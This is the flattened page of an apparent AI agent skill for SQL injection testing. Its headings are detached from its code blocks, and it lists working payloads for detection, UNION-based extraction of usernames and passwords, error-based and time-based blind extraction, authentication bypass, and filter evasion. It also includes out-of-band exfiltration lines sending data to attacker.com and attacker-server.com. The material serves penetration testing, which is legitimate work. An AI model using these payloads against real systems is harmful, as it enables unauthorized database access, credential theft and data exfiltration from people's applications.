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npx skills add davila7/claude-code-templates --skill sql-injection-testing
This skill should be used when the user asks to "test for SQL injection vulnerabilities", "perform SQLi attacks", "bypass authentication using SQL injection", "extract database information through injection", "detect SQL injection flaws", or "exploit database query vulnerabilities". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems.
npx skills add davila7/claude-code-templates --skill sql-injection-testing
Execute comprehensive SQL injection vulnerability assessments on web applications to identify database security flaws, demonstrate exploitation techniques, and validate input sanitization mechanisms. This skill enables systematic detection and exploitation of SQL injection vulnerabilities across in-band, blind, and out-of-band attack vectors to assess application security posture.
Locate user-controlled input fields that interact with database queries:
Insert special characters to trigger error responses:
Monitor application responses for:
Verify boolean-based vulnerability presence:
Compare responses between true and false conditions to confirm injection capability.
Combine attacker-controlled SELECT statements with original query:
Force database errors that leak information:
Infer data through application behavior changes:
Use database sleep functions for confirmation:
Exfiltrate data through external channels:
Craft payloads to bypass credential verification:
Query transformation example:
When special characters are blocked:
Substitute blocked spaces:
Evade blacklisted SQL keywords:
| Purpose | Payload |
|---|---|
| Basic test | ' or " |
| Boolean true | OR 1=1-- |
| Boolean false | AND 1=2-- |
| Comment (MySQL) | # or -- |
| Comment (MSSQL) | -- |
| UNION probe | UNION SELECT NULL-- |
| Time delay | AND SLEEP(5)-- |
| Auth bypass | ' OR '1'='1 |
Scenario: Testing product display page with ID parameter
Initial Request:
Detection Test:
Column Enumeration:
Data Extraction:
Scenario: No visible output, testing for blind injection
Confirm Vulnerability:
Extract Database Name Length:
Extract Characters:
Target: Admin login form
Standard Login Query:
Injection Payload:
Resulting Query:
Result: Password check bypassed, authenticated as administrator.
-- True condition tests
page.asp?id=1 or 1=1
page.asp?id=1' or 1=1--
page.asp?id=1" or 1=1--
-- False condition tests
page.asp?id=1 and 1=2
page.asp?id=1' and 1=2---- Determine column count
ORDER BY 1--
ORDER BY 2--
ORDER BY 3--
-- Continue until error occurs
-- Find displayable columns
UNION SELECT NULL,NULL,NULL--
UNION SELECT 'a',NULL,NULL--
UNION SELECT NULL,'a',NULL--
-- Extract data
UNION SELECT username,password,NULL FROM users--
UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'---- MSSQL version extraction
1' AND 1=CONVERT(int,(SELECT @@version))--
-- MySQL extraction via XPATH
1' AND extractvalue(1,concat(0x7e,(SELECT @@version)))--
-- PostgreSQL cast errors
1' AND 1=CAST((SELECT version()) AS int)---- Character extraction
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
1' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--
-- Conditional responses
1' AND (SELECT COUNT(*) FROM users WHERE username='admin')>0---- MySQL
1' AND IF(1=1,SLEEP(5),0)--
1' AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a',SLEEP(5),0)--
-- MSSQL
1'; WAITFOR DELAY '0:0:5'--
-- PostgreSQL
1'; SELECT pg_sleep(5)---- MSSQL DNS exfiltration
1; EXEC master..xp_dirtree '\\attacker-server.com\share'--
-- MySQL DNS exfiltration
1' UNION SELECT LOAD_FILE(CONCAT('\\\\',@@version,'.attacker.com\\a'))--
-- Oracle HTTP request
1' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT user FROM dual)) FROM dual---- Classic bypass
admin'--
admin'/*
' OR '1'='1
' OR '1'='1'--
' OR '1'='1'/*
') OR ('1'='1
') OR ('1'='1'--
-- Username enumeration
admin' AND '1'='1
admin' AND '1'='2-- Original query
SELECT * FROM users WHERE username='input' AND password='input'
-- Injected (username: admin'--)
SELECT * FROM users WHERE username='admin'--' AND password='anything'
-- Password check bypassed via comment-- URL encoding
%27 (single quote)
%22 (double quote)
%23 (hash)
-- Double URL encoding
%2527 (single quote)
-- Unicode alternatives
U+0027 (apostrophe)
U+02B9 (modifier letter prime)
-- Hexadecimal strings (MySQL)
SELECT * FROM users WHERE name=0x61646D696E -- 'admin' in hex-- Comment substitution
SELECT/**/username/**/FROM/**/users
SEL/**/ECT/**/username/**/FR/**/OM/**/users
-- Alternative whitespace
SELECT%09username%09FROM%09users -- Tab character
SELECT%0Ausername%0AFROM%0Ausers -- Newline-- Case variation
SeLeCt, sElEcT, SELECT
-- Inline comments
SEL/*bypass*/ECT
UN/*bypass*/ION
-- Double writing (if filter removes once)
SELSELECTECT → SELECT
UNUNIONION → UNION
-- Null byte injection
%00SELECT
SEL%00ECT1. Insert ' → Check for error
2. Insert " → Check for error
3. Try: OR 1=1-- → Check for behavior change
4. Try: AND 1=2-- → Check for behavior change
5. Try: ' WAITFOR DELAY '0:0:5'-- → Check for delay-- MySQL
SELECT @@version
SELECT version()
-- MSSQL
SELECT @@version
SELECT @@servername
-- PostgreSQL
SELECT version()
-- Oracle
SELECT banner FROM v$version
SELECT * FROM v$version-- MySQL/MSSQL table enumeration
SELECT table_name FROM information_schema.tables WHERE table_schema=database()
-- Column enumeration
SELECT column_name FROM information_schema.columns WHERE table_name='users'
-- Oracle equivalent
SELECT table_name FROM all_tables
SELECT column_name FROM all_tab_columns WHERE table_name='USERS'GET /product.php?id=5 HTTP/1.1GET /product.php?id=5' HTTP/1.1
Response: MySQL error - syntax error near ''' GET /product.php?id=5 ORDER BY 4-- HTTP/1.1
Response: Normal
GET /product.php?id=5 ORDER BY 5-- HTTP/1.1
Response: Error (4 columns confirmed)GET /product.php?id=-5 UNION SELECT 1,username,password,4 FROM admin_users-- HTTP/1.1
Response: Displays admin credentialsid=5' AND SLEEP(5)--
-- Response delayed by 5 seconds (vulnerable confirmed)id=5' AND IF(LENGTH(database())=8,SLEEP(5),0)--
-- Delay confirms database name is 8 charactersid=5' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(5),0)--
-- Iterate through characters to extract: 'appstore'SELECT * FROM users WHERE username='[input]' AND password='[input]'Username: administrator'--
Password: anythingSELECT * FROM users WHERE username='administrator'--' AND password='anything'